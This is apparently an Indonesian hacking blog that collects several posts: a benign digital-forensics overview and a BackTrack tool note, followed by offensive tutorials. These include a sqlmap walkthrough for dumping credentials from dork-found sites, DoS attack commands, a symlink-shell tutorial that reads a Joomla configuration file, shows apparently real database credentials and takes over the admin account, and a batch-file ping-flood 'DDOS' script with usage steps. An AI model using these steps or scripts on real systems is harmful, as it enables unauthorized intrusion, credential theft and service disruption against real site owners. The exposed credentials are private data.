Penjelasan tentang Internet Forensics dan Digital Forensics

Apa INTERNET FORENSICS?
Knp internet forensic?bukannya digital forensics?ok sabar dlu Secara prinsip, Internet Forensics adalah suatu usaha tentang bagaimana kita menelusuri dan menginvestigasi sumber2 kejahatan internet dan sekaligus mempelajari bagaimana hal itu bisa terjadi. Internet forensics sendiri merupakan bagian pengembangan dari Computer/IT Forensics yang menggunakan teknik2 komputasi lanjutan dan intuisi manusia untuk menemukan petunjuk2 tentang kejahatan2 berbasis Internet.

Computer/IT Forensics sendiri dikenal dengan DIGITAL FORENSICS, yaitu salah satu cabang ilmu forensik yang berkaitan dengan bukti2 legal dari sebuah aksi kejahatan atau pelanggaran yang ditemui pada komputer dan media2 penyimpanan digital agar dapat dipergunakan secara sah sebagai alat bukti di pengadilan.

Trus apa bedanya Computer/Digital Forensics dengan Internet Forensics???
Perbedaannya mungkin akan lebih jelas jika kita mendefinisikannya seperti ini : Computer/IT Forensics mempelajari bagaimana komputer2 terlibat dalam sebuah aksi kejahatan, baik terhubung jaringan atau tidak. Sedangkan Internet Forensics mempelajari bagaimana jaringan internet termasuk komputer2,layanan2 dan user2 didalamnya terlibat dalam sebuah aksi kejahatan. Aksi kejahatan disini dapat beragam bentuk,mulai dari penyerangan,eksploitasi layanan2/program2 tertentu,penipuan,pencurian,perusakan,dll.
Jadi bisa disimpulkan bahwa secara prinsip memang kedua hal tersebut memiliki perbedaan dalam segi teknis,tetapi memiliki tujuan yang sama.

Kemudian apa saja yang bisa dipergunakan sebagai obyek forensik, terutama dalam kaitannya dengan jenis kejahatan yang telah dikemukakan tersebut?

Dalam dunia kriminal dikenal istilah "tidak ada kejahatan yang tidak meninggalkan jejak". Ada banyak sekali hal yang bisa menjadi petunjuk atau jejak dalam setiap tindakan kriminal yang dilakukan dengan menggunakan teknologi seperti komputer. Contohnya adalah sebagai berikut:
1. Log file atau catatan aktivitas penggunaan komputer yang tersimpan secara rapi dan detail di dalam sistem;
2. File yang sekilas telah terhapus secara sistem, namun secara teknikal masih bisa diambil dengan cara-cara tertentu;
3. Catatan digital yang dimiliki oleh piranti pengawas trafik seperti IPS (Intrusion Prevention System) dan IDS (Intrusion Detection System);
4. Hard disk yang berisi data/informasi backup dari sistem utama;
5. Rekaman email, mailing list, blog, chat, dan mode interaksi dan komunikasi lainnya;
6. Beraneka ragam jeis berkas file yang dibuat oleh sistem maupun aplikasi untuk membantu melakukan manajemen file (misalnya: .tmp, .dat, .txt, dan lain-lain);
7. Rekam jejak interaksi dan trafik via internet dari satu tempat ke tempat yang lain (dengan berbasis IP address misalnya);
8. Absensi akses server atau komputer yang dikelola oleh sistem untuk merekam setiap adanya pengguna yang login ke piranti terkait; dan lain sebagainya.

Beraneka ragam jenis obyek ini selain dapat memberikan petunjuk atau jejak, dapat pula dipergunakan sebagai alat bukti awal atau informasi awal yang dapat dipergunakan oleh penyelidik maupun penyidik dalam melakukan kegiatan penelusuran terjadinya suatu peristiwa kriminal, karena hasil forensik dapat berupa petunjuk semacam:

Lokasi fisik seorang individu ketika kejahatan sedang berlangsung (alibi);
1. Alat atau piranti kejahatan yang dipergunakan
2. Sasaran atau target perilaku jahat yang direncanakan
3. Pihak mana saja yang secara langsung maupun tidak langsung terlibat dalam tindakan kriminal
4. Waktu dan durasi aktivitas kejahatan terjadi
5. Motivasi maupun perkiraan kerugian yang ditimbulkan
6. Hal-hal apa saja yang dilanggar dalam tindakan kejahatan tersebut
7. Modus operandi pelaksanaan aktivitas kejahatan; dan lain sebagainya.

Beberapa tools yang dapat digunakan untuk kebutuhan Computer Forensics dan Intertet Forensics antara lain :
1. JPEGsnoop Paltform WINDOWS.
2. Internet Evidence Finder (IEF) Paltform WINDOWS.
3. SANS Investigate Forensic Toolkit (SIFT) Workstation Version 2.13 Platfrom UBUNTU
4. Digital Forensics Framework Paltform WINDOWS,LINUX,MAC
5. Open Computer Forensics Architecture Platform LINUX.
6. Ptk-forensics Download Platform LINUX (LAMPP installed)
7. Netsleuth Paltform WINDOWS.

Tools2 yang ada diatas merupakan tools yang berbasis Free/Non Commercial..Selain diatas masih bnyak lagi tools2 yang bisa digunakan untuk kegiatan forensik komputer.

sumber

Read more »

CMS Exporer in BackTrack 5

Just a quick note that Sunera's CMS Explorer has made its way into the BackTrack Linux version 5 (Revolution) release! So no need to download it separately, just fire it up in BackTrack when you come against one of the supported CMS systems.

You can find it on the menus (which are now aligned by the PTES and OSSTMM standards) under CMS Identification:

BackTrack -> Information Gathering -> Web Application Analysis -> CMS Identification -> cms-explorer

And note that before you use it, you may want to supply an OSVDB-API key:

If you see this message, you need to add your API key.

And just a reminder that CMS Explorer is open source Perl code, so please consider contributing to the project. Additionally, it requires the GetOpt::Long module and LibWhisker--both of which are included in the BackTrack distro.

Put your OSVDB API Key in the $osvdb_api_key variable.

Thanks to the BackTrack team for continuing to enhance the pentesting distro and adding new tools like this (and others)!

haha bagaimana kawan anggreks ? Sumber : Klik Disini

Read more »

Cross Site Request Forgery in 2wire routers

This summary is not available. Please click here to view the post.

Read more »

SQL injection dengan python

1. Seperti biasa cari nilai Vuln nya dulu "Silahkan gunakan dork yang sudah tersedia banyak kok di google kawan anggreks"
2.buat yang belum punya program python monggo silahkan download download yang 2.3.7

3.Kalo udah selsai , download SQLMAP python nya. lalu simpan di direktori PC teman "Bebas mau di taruh dimana aja D/C "

4.Buka dan tujulah ke direktori penyimpanan anda tadi "Contoh"
perintah tuju direktori dengan CMD :
d: <<< untuk menuju data d
c: <<< untuk menuju data c

cd : menggali lebih dalam direktori.Misal nya saya, menyimpan di D:\Data-gw\Penetrasi\sqlmap . makanya saya harus menggali nya dengan perintah cd "sebagai contoh : cd data-gw ENTER, cd penetrasi ENTER , cd sqlmap ENTER.
Lihat gambar berikut ini :

Mudahkan ...

5.Nah kalo sudah di tuju direktori nya,Silahkan masukan syntax berikut ini : sqlmap.py -u SiteVuln --dbs ENTER (Untuk mencari database) "Maka akan jadi seperti gambar di bawah ini"
Mohon maaf , kalo gambar nya BWK :


6.Sekarang kita menggali tabel dari Dbs , " BUG " , masukan perintah : sqlmap.py -u SiteVuln --d database nya --tables
ENTER , Nah Munculkan banyak kan tuh , table dari Database nya
untuk lebih jelasnya Lihat gambar di bawah ini :

7.Selanjut nya adalah, menemukan kolom nya.Silahkan masukan sintaks nya lagi :
sqlmap.py -u SiteVuln -D DataBase nya -D tabel nya --columns ,, Oke kalo udah Enter lagi , dan lihat hasil nya :

Ea kk , jangan berbahagia dulu soalnya kita kan gaktau username + password siapa yang kita dapet "syukur2x kalo si admin yang kita dapet" kalo user biasa gimana Biar gak penasaran , lanjut ke step berikut nya

8.Melihat isi dari kolom tersebut Seperti biasa masukan sintaks lagi, sintakz nya adalah :
sqlmap.py -u SiteVuln -D Nama databasenya -T Nama tablenya -C nama kolomnya --dump
Sebagai contoh gambar di atas , saya akan mengambil username nya password nya belakangan . Setelah kita mendapatkan username nya, lakukan hal yang sama untuk mendapatkan password dengan sintaks di atas. maka akan seperti ini jadi nya "contoh gambar" :



SUMBER 

Read more »

Pengertian Denial of Service (DoS)

echo-zine 02
Oleh: MOBY (echo-staff)

.o0 Kata Pengantar

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
Service atau yang lebih kita kenal dengan DoS. Beberapa pertanyaan
yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
... 2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

.o0 Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
admin akan berada pada kondisi yang membingungkan antara layanan dan
kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding
terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.

.o0 Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

.o0 Denial of Sevice, serangan yang menghabiskan resource.

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.

.o0 Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut "smurfing"
(http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl/ (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya:
blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
(bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini
adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,
seolah-olah server korban tewas.

nah itu kawan anggreks yg di sebut DoS . 

Read more »

Xampp WebDAV PHP upload

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##


Exploit :

EXPLOIT

Read more »

Hacking Tools

1. MySQL Password Auditor: Tools buat recovery password di MYSQL:

Spoiler: hide

download

2. Mole SQL Injection: Tool yang biasa digunakan untuk melakukan SQL Injection di website

Spoiler: hide

download untuk windows & download untuk linux

3. X-SCAN: Tools ini digunakan untuk melakukan pengecekan vulnerability terhadap network.

Spoiler: hide

download

4. SQLSUS SQL Injection: Ini adalah tools untuk melakukan SQL Injection juga, di buat dengan bahasa perl, jadi harus install perl untuk bisa menggunakan tools ini

Spoiler: hide

download


5. W3AF Web Application Attack and Audit Framework: Merupakan tool untuk melakukan attack dan audit terhadap aplikasi website, tool ini sangat populer saat ini.

Spoiler: hide

download

6. DIR BUSTER: Merupakan tools untuk mencari nama directory dan nama file yang ada di website, tools ini sangat bermanfaat untuk mengetahui informasi halaman apa saja yang ada di website target.

Spoiler: hide

download untuk linux & download untuk windows

7. Multi Thread TCP Port Scanner: Tools untuk scanning port yang sedang digunakan dengan multi threading, sehingga bisa berbagai IP & Port yang bisa anda check.

Spoiler: hide

download

8. NetworkMiner: Merupakan tools untuk melakukan analysis network forensik untuk Windows, banyak di gunakan untuk mengawasi lalu lintas network.

Spoiler: hide

download

Read more »

Cara Lompat Symlink for Newbie

Spoiler: hide

ane keinget symlink, ane coba searching deh. nyasar di forum http://www.turkblackhats.com. dapet shell Symlink. trus ane coba deh. dan berhasil. skrang ane mau share di sini. oke yah.. ane anggep kita uda dapet server. sebelumnya upload dulu shell symlink nya. download disini. klo udah diupload. panggil deh. trus klik [ User & Domains & Symlink ]

Spoiler: hide

ntar muncul beberapa list. coba pilih salah satu. klik symlink

Spoiler: hide

klo udah ntar kita dianter ke direktori public_html dr target kita. skrang kita mau nyari file konfig webnya. klo di publik htmlnya ada bnyak direktori. cari aja atu2 . nah ane coba ini

Spoiler: hide

ternyata target kita kali ini JOOMLA, terlihat dr nama2 direktori2 yg ada. jd kita harus nyari yg namanya configuration.php klo udah ketemu, langsung klik aja, kita liad isinya.

Spoiler: hide

intip configuration.php nya coy

Spoiler: hide

nah loh, dapet kan.

Code:

public $host = 'localhost';
public $user = 'kkpsa_DBkkpsa';
public $password = '2S48qfPsjt';
public $db = 'kkpsa_DBkkpsa';

klo udah begitu, kita balik ke shell HN kita tercinta. klik menu My SQL. trus masukin dah, data2 td kesitu. >> CONNECT !

Spoiler: hide

Klo udah masuk database SQLnya, kita cari table user. ktmu? ketemu dong

Spoiler: hide

trus diapain?
klik aja tabel usernya, liad isinya

Spoiler: hide

noh, ada user admin + passwordnya. mau dicrack? monggo.. mau diedit? monggo.. ane mah pilih edit aja. ga mau repot2 ngcrack. web malingsit mah acak2 aja.
klik edit yg ada di kolom paling ujung kanan. ntar muncul kek gini

Spoiler: hide

klo udah diedit, klik confirm. muncul bginian

Spoiler: hide

klik YESS. tuh joomla, udah brubah pass adminnya. sekarang kita coba login.

Spoiler: hide

GOTCHAAA...!
sukses bre..

Spoiler: hide

klo udah masuk. tinggal upload shell aja. terserah mau dr media manager yg udah diset mimenya biar bisa upload php. ato mau edit templatenya. terserah kalian.
Sumber

Rating: 4.5
Description: Cara Lompat Symlink for Newbie
Reviewer: Angga reksa - Itemreviewed: Langkah-langkah lompat symlink untuk pemula

Read more »

Membuat serangan DDOS dari notepad

PERLENGKAPAN :
1.Notepad2.copy script ini ke notepad

 @echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batchfile
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Server-Target:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ​ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS

3.save dengan ekstensi batchfile
   Contoh : Anggreks.bat


CARA PAKAI :

1.Pada menu Server-Target masukan
alamat web yang ingin di DDOS
Contoh:Anggareks-detected.blogspot.com [Tapi jangan yak ^^v]

2.tekan "ENTER"

3.kemudian masukan hasil IP dari ping tadi di IP host dan
untuk Packet Size itu untuk mengirim berapa byte jadi
ukuran Size terserah anda

4.ke mudian tekan "ENTER"

tunggu deh sampe website itu jebol ^^

Nb:jangan di salah gunakan yah 

      -Anggreksa-detected.blogspot.com

Read more »